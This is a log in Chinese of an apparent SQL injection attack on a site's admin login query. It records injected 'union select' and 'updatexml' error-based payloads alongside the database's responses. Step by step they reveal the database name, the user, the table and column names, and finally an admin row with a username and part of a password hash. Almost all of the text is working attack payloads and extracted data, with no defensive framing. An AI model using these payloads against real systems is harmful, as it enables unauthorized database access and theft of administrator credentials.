执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,3 from mysql.user#\' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: SELECT command denied to user 'zhegongda'@'localhost' for table 'user' 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,database(),0x7f,user(),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: XPATH syntax error: 'zhegongdazhegongda@localhost' 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select count(*) from information_schema.tables where table_schema='zhegongda'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: XPATH syntax error: '13' 说明有13张表 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select password from mysql.user where user='zhegongda'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: SELECT command denied to user 'zhegongda'@'localhost' for table 'user' 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select group_concat(table_name) from information_schema.tables where table_schema='zhegongda'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: XPATH syntax error: 'ins_admin,ins_admin_action,ins_' 说明总共有13张表,但只能读取到3张(原因是显示的长度问题) 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select group_concat(column_name) from information_schema.columns where table_name='ins_admin'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: XPATH syntax error: 'id,uname,passwd,rolerid,datetim' 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select count(column_name) from information_schema.columns where table_name='ins_admin'),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: XPATH syntax error: '15' 执行: SELECT * FROM ins_admin WHERE status='1' and uname='' union select 1,2,(select updatexml(1,concat(0x7f,(select concat_ws('|',id,uname,passwd,rolerid,datetime) from zhegongda.ins_admin limit 0,1),0x7f),0))#' and passwd='d41d8cd98f00b204e9800998ecf8427e' 结果: XPATH syntax error: '24|zmz|a40b32f4e3027ebc1b317fc1'